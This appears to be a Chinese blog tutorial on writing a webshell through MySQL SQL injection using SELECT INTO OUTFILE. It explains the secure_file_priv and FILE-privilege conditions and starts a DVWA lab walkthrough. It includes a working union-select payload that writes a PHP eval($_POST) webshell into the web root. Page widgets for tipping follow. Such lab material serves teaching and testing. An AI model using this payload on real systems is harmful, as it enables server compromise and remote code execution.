SQL注入写入webshell

本文介绍如何利用MySQL的特性在Web服务器上植入WebShell,包括secure_file_priv配置的影响、不同写入方法及其适用场景。

前言

在所有常用的关系数据库管理系统中均包含内置的向服务器文件系统写文件的功能,通过这些内置的功能,我们可以将自己的webshell写目录或文件进去

写入webshell条件

1.MYSQL用secure_file_priv这个配置项来完成对数据导入导出的限制,
如果secure_file_priv=NULL,MYSQL服务会禁止导入和导出操作。
如果secure_file_priv=/tmp/,MYSQL服务只能在/tmp/目录下导入和导出
如果secure_file_priv="" ,MYSQL服务导入和导出不做限制
通过命令查看secure-file-priv的当前值,确定是否允许导入导出以及导出文件路径
2.MYSQL中root用户拥有所有权限,但写入webshell并不需要一定是root用户权限,比如数据库用户只要拥有FILE权限就可以执行select into outfile操作
3.当secure_file_priv文件导出路径与web目录路径重叠,写入webshell才可以被访问到
简单点说就是
1.select into outfile方法可用(允许导出文件)
2.我们需要知道网站所在的绝对路径
3.我们要有足够的权限

传统的SQL语句写入webshell

通过SQL注入select into outfile实现,如:
1’ union select 1,’<?php eval($_POST[a]);?>’INTO OUTFILE ‘/var/www/tmp/a.php’#
这里我们使用dvwa的low级别,直接找到注入点,开始爆出网站路径
再输入框中输入1' union select 'x','x' into outfile 'xx' --

评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值